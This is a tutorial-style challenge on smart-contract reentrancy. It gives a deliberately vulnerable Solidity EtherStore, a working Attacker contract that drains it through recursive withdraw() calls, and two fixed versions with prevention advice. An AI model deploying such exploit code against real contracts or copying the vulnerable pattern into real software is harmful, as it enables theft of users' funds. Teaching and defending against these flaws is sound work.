Reentrancy Attack Simulation

Identify and exploit a reentrancy vulnerability in a simulated smart contract, then implement proper safeguards.

Reentrancy attacks are one of the most notorious vulnerabilities in smart contracts. The infamous DAO hack of 2016, which resulted in the loss of 3.6 million ETH, was a result of a reentrancy vulnerability.

In this challenge, you'll learn how reentrancy attacks work, identify a vulnerable contract, exploit it, and then implement proper safeguards to prevent such attacks.

What is a Reentrancy Attack?

A reentrancy attack occurs when a function makes an external call to another untrusted contract before it resolves its own state. If the untrusted contract calls back into the original function, it may be able to manipulate the original contract's state in unexpected ways.

The basic pattern of a reentrancy attack is:

  1. Contract A calls Contract B
  2. Before Contract A completes its function execution (and updates its state), Contract B calls back into Contract A
  3. Contract A's state hasn't been updated yet, so the second call operates on the same state
  4. This can lead to unexpected behavior, such as multiple withdrawals

The Vulnerable Contract

Below is a simplified EtherStore contract that is vulnerable to a reentrancy attack:


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableEtherStore {
    mapping(address => uint256) public balances;
    
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    
    function withdraw() public {
        uint256 balance = balances[msg.sender];
        require(balance > 0, "Insufficient balance");
        
        // This is where the vulnerability exists
        // The contract sends ETH before updating the balance
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Transfer failed");
        
        // State update happens after the external call
        balances[msg.sender] = 0;
    }
    
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
      

The Attacker Contract

An attacker can exploit this vulnerability using a contract like this:


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./VulnerableEtherStore.sol";

contract Attacker {
    VulnerableEtherStore public etherStore;
    
    constructor(address _etherStoreAddress) {
        etherStore = VulnerableEtherStore(_etherStoreAddress);
    }
    
    // Fallback function is called when EtherStore sends Ether to this contract
    receive() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }
    
    function attack() external payable {
        require(msg.value >= 1 ether, "Need at least 1 ether to attack");
        
        // Deposit into the EtherStore
        etherStore.deposit{value: 1 ether}();
        
        // Start the reentrancy attack
        etherStore.withdraw();
    }
    
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
    
    // Allow the owner to withdraw the stolen funds
    function withdrawFunds() public {
        payable(msg.sender).transfer(address(this).balance);
    }
}
      

How the Attack Works

Let's break down how this attack works:

  1. The attacker deploys the Attacker contract, targeting the vulnerable EtherStore.
  2. The attacker calls the attack() function with 1 ETH.
  3. The Attacker contract deposits 1 ETH into the EtherStore.
  4. The Attacker contract calls withdraw() on the EtherStore.
  5. The EtherStore sends 1 ETH to the Attacker contract, triggering its receive() function.
  6. Before the EtherStore can update the attacker's balance to 0, the receive() function calls withdraw() again.
  7. Since the balance hasn't been updated yet, the EtherStore sends another 1 ETH to the Attacker.
  8. This cycle continues until the EtherStore is drained or runs out of gas.

Fixing the Vulnerability

There are several ways to prevent reentrancy attacks:

  1. Use the Checks-Effects-Interactions Pattern: Always update the contract's state before making external calls.
  2. Use a Reentrancy Guard: Implement a mutex to prevent recursive calls.
  3. Use the transfer() or send() functions: These functions provide only 2300 gas to the recipient, which is not enough to call back into the contract.

Here's how we can fix the vulnerable contract using the Checks-Effects-Interactions pattern:


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SecureEtherStore {
    mapping(address => uint256) public balances;
    
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    
    function withdraw() public {
        uint256 balance = balances[msg.sender];
        require(balance > 0, "Insufficient balance");
        
        // Update the state before making the external call
        balances[msg.sender] = 0;
        
        // Make the external call after updating state
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Transfer failed");
    }
    
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
      

Using a Reentrancy Guard

Another common approach is to use a reentrancy guard (mutex):


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract ReentrancyGuard {
    bool private locked;
    
    modifier nonReentrant() {
        require(!locked, "Reentrant call");
        locked = true;
        _;
        locked = false;
    }
}

contract SecureEtherStoreWithGuard is ReentrancyGuard {
    mapping(address => uint256) public balances;
    
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    
    function withdraw() public nonReentrant {
        uint256 balance = balances[msg.sender];
        require(balance > 0, "Insufficient balance");
        
        // Even though we're making the call before updating state,
        // the nonReentrant modifier prevents reentrancy
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Transfer failed");
        
        balances[msg.sender] = 0;
    }
    
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
      

Best Practices to Prevent Reentrancy

  1. Follow the Checks-Effects-Interactions Pattern: Always perform all state changes before making external calls.
  2. Use Reentrancy Guards: Implement a mutex to prevent recursive calls.
  3. Consider Using OpenZeppelin's ReentrancyGuard: This is a well-tested implementation of a reentrancy guard.
  4. Be Aware of Cross-Function Reentrancy: Reentrancy can occur across different functions that share state.
  5. Use Static Analysis Tools: Tools like Slither, Mythril, and MythX can help identify reentrancy vulnerabilities.
  6. Consider Gas Limitations: Using transfer() or send() can provide some protection, but they're not foolproof and have their own limitations.